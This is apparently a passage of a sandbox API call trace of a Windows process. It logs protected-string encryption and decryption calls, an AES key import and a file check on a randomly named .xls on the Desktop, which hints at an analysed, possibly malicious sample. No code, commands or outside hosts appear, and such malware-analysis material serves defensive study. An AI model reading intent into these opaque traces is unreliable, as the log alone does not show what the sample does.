Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0126.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0126.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0126.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.417] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0126.417] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.417] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0126.417] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0126.418] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.418] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0126.418] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.418] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0126.418] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.418] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0126.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0126.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0126.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0126.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.419] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0126.419] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0126.420] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0126.420] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.420] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0126.420] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.420] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0126.420] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.420] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0126.420] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.420] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0126.421] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.421] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0126.421] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.421] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0126.421] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.421] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.421] SystemFunction041 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction040 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction041 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction040 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction041 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction040 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction041 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] SystemFunction040 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.422] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.422] SystemFunction041 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.423] SystemFunction040 (in: Memory=0x8e30a94, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a94) returned 0x0 [0126.423] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e03460) returned 1 [0126.424] CryptImportKey (in: hProv=0x8e03460, pbData=0x698b8e0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84d78) returned 1 [0126.424] CryptContextAddRef (hProv=0x8e03460, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.424] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="럘ژ") returned 0x0 [0126.424] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.424] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.424] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.425] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0126.425] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 